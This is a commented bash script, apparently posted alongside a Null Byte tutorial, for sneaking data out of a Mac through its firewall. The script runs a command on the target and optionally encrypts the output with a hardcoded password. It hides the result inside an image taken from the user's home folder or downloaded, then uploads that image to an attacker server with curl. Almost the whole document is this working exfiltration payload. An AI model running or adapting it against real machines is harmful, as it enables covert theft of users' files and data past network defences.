morristech
7/9/2019 - 5:15 AM

Hacking macOS: Use Images to Smuggle Data Through Firewalls

Hacking macOS: Use Images to Smuggle Data Through Firewalls

#!/bin/bash
# Script for https://null-byte.com/smuggle-data-through-firewalls-0197128/

# `if` statement to detemine if the message is a 'response' one
# This is the command being executed and embedded in the photo.
# Single-quotes are used here to help with escaping special
# characters within the desired command(s).
exfilData='ls -lah "/Users/$USER/"'

# Where the attackers PHP server is located. This needs to be
# updated to use a public domain, like Dropbox or something
# with an official API.
exfilSite="http://attacker.com/index.php"

# If no suitable image is found on the target computer, this
# image will be downloaded and used instead. By default, the
# script tries to use an image already on the MacBook to
# minimize the amount of traffic originating the device.
tmpImage="https://support.apple.com/content/dam/edam/applecare/images/en_US/repair/psp-repair_2x.png"

# The `find` command used to locate a suitable image to embed
# data into. It will check the users home (~) directory for the
# first (-print -quit) JPG, JPEG, or PNG smaller than 100k.
# The filesize maximum and filetypes are somewhat arbitrary.
# The size can be increased and the filetypes can be expanded
# to use MP3, PDF, and MOV files, for example.
findImage="$(find ~ -type f -size -100k \( -iname '*.jp*g' -o -iname '*.png' \) -print -quit)"

# If the encryption option is enabled, the password is hardcoded
# into the payload for convenience, making it possible to
# reverse engineer and decrypt the exfiltrated data inside the
# image. This is a quick and dirty solution.
pass="password123"

# An `if` statement to detect if a suitable PNG or JPG was
# discovered. If not, it will download the backup image
# defined earlier in the script (tmpImage).
if [[ ! -f "$findImage" ]]; then
  # Curl will silently (-s) download the backup image and
  # save it (-o) into the /tmp directory with the i.jpg filename.
  curl -s "$tmpImage" -o "/tmp/i.jpg"
  # The backup image is set into the exfilImage variable for
  # later commands.
  exfilImage="/tmp/i.jpg"
else
  # If a suitable image is discovered, the exfilImage variable
  # is set for later commands.
  exfilImage="$findImage"
fi

# It may or may not be desirable to encrypt the payload output
# before embedding it into the image. Set to `1` to enable
# encryption, set to `0` to disable it.
useEncrypt='1'

# An `if` statement to determine the value of the exfilType
# variable. If `1` it will encrypt with openssl (LibreSSL).
# Otherwise, it will not encrypt.
if [[ "$useEncrypt" = '1' ]]; then
  # OpenSSL is used to encrypt (enc) the payload output
  # as well as encode (-a -A) the encrypted data with a
  # password (-pass).
  exfilData="$(openssl enc -aes-256-cbc -a -A -in <(eval $exfilData) -pass pass:$pass)"
else
  # If encryption isn't used, Bash will evaluable the variable
  # and execute it as a command.
  exfilData="$(eval $exfilData)"
fi

# Printf is used to embed the command output directly into
# image. It will append (>>) the data on a newline (\n\n).
# The newlines make it easy to quickly extract the data
# after it has been delivered to the attacker.
printf '\n\n%s' "$exfilData" >> "$exfilImage"

# Curl will exfiltrate the image to the attackers PHP
# server.
curl -F "image=@$exfilImage" "$exfilSite"